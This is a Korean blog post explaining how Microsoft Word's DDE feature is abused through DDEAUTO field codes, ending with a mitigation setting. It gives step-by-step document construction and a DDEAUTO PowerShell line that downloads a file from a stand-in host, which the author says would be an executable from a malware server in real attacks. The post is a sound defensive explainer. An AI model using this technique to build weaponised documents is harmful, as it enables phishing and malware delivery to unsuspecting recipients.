반응형
ி DDE(Dynamic Data Exchange)
DDE
는 사용자 편의를 위해 만들어진 기능으로서 응용 프로그램 간 데이터 전송을 위해 사용한다.마이크로소프트에서 만든 프로그램인 워드(Word), 엑셀(Excel), VisualBasic 등
다양한 응용 프로그램에서 DDE를 쓴다.
예를 들어 워드 파일을 열람할 때 엑셀 파일에서 데이터를 가져오는 것도 DDE를 통해서 이루어진다.
이러한 기능을 가진 DDE가 실제 어떤 방식으로 악용되는지 알아보겠다.
ி DDE를 악용한 사례
DDE를 이용한 악용 사례 중 상당 부분이 MS 워드를 사용한다.
우선 MSword에서 DDE를 쓰려면
삽입 탭
에 > [빠른 문서 요소]
> [필드]
에 들어간다.필드를 Formula
로 선택하고 확인한다.
이제 글 문서에 !수식의 끝이 잘못되었습니다라는 필드가 출력된다.
해당 필드를 마우스 우클릭하여
[필드 코드 토글]
을 누른다.그리고 필드 코드 부분을 다른 프로그램이 실행되도록 바꿔보자.
우선 DDE 필드임을 알리는 DDEAUTO 키워드를 사용하여 문서가 열릴 때
코드가 자동으로 실행되도록 해야한다.
워드 문서가 열릴 때 계산기를 열게 하는 코드를 입력해보자.
워드 파일이 열릴 때 연결된 파일의 데이터로 이 문서를 업데이트하시겠습니까?
예
를 선택하면 추가로 응용 프로그램 실행 여부에 동의를 구한다. 이 또한 마찬가지로 예를 누르면 해당 DDE 필드 코드가 실행되어 계산기가 열리는 모습이다.
위 예시는 매우 간단한 코드이지만 필드 코드를 계산기 실행이 아닌
Powershell
을 이용할 경우 DDE는 더 많은 곳에 악용될 소지가 있다.또 다른 예시로 악성 코드 유포지에서 악성 파일을 다운받고
해당 파일을 실행시킬 수 있다.
테스트를 위해서 실제 악성 코드를 샘플로 제공할 수는 없으므로
순화시킨 샘플 코드를 보여주겠다.
DDEAUTO
C:\\windows\\system32\\cmd “/k powershell.exe $p=$env:systemdrive + '\users\'+$env:username+'\desktop\alert.txt';
(New-Object System.Net.WebClient).DownloadString('http://abcd1234.com/test.txt') > $p > alert.txt”
위 명령은 파워셸을 실행시키고 파워셸 스크립트로 특정 웹 사이트에 있는 txt 파일을
내 컴퓨터 바탕화면에 저장한다.
DDE가 실제로 악용되는 경우라면 저기서 특정 웹 사이트는
곧 바이러스 유포지 서버로 볼 수 있으며, 다운 받는 파일은 단순 txt 파일이 아닌
실행 파일의 형태일 것이다.
이렇게 만들어 낸 워드 파일을 VirusTotal에서 검사한 결과
여러 백신에서 탐지하고 있는 것을 확인할 수 있다.
하지만 실제로 DDE를 악용한 문서를 배포할 때에는
백신에서 탐지를 못 하도록 DDE 코드를 난독화 시키므로
사용자의 많은 주의가 요구된다.
그렇다면 MS에서는 이러한 취약점이 있는데 왜 DDE를 없애지 않는 걸까?
해당 기능은 MS사의 정식적인 기능이기도 하고 아까 계산기를 실행하는 부분에서 사용자한테 사전에 "DDE 코드를 실행하겠다" 고 경고 메시지를 띄워 주는 부분이 있기 때문에
개인이 조심하면 크게 문제 없다고 생각하여 따로 MS에서 패치를 진행하고 있지 않은 듯 보이며
이건 지극히 내 주관적인 생각이니 걸러 들어도 좋다.
이러한 취약점을 이용한 실제 사례로
가짜 이력서로 위장하여 메일을 보내는 피싱 메일 혹은 APT 공격이 대표적이다.
ி DDE 취약점 예방법
[파일]
> [옵션]
-> [고급 탭]
으로 이동하여일반 항목을 찾고
[문서를 열 때 자동 연결 업데이트]
항목에 체크를 해제한다.반응형
'해킹-보안' 카테고리의 다른 글
메타스플로잇 피보팅(pivoting) 공격 (1) | 2020.05.19 |
---|---|
메타스플로잇(Metasploit)을 활용한 취약점 공격 (0) | 2020.05.18 |
VMware에 BeeBox 설치하기 (0) | 2020.05.14 |
Apache mod_evasive를 이용한 DOS 차단 방법 (0) | 2020.04.27 |
윈도우10 샌드박스 사용하기 (0) | 2020.04.22 |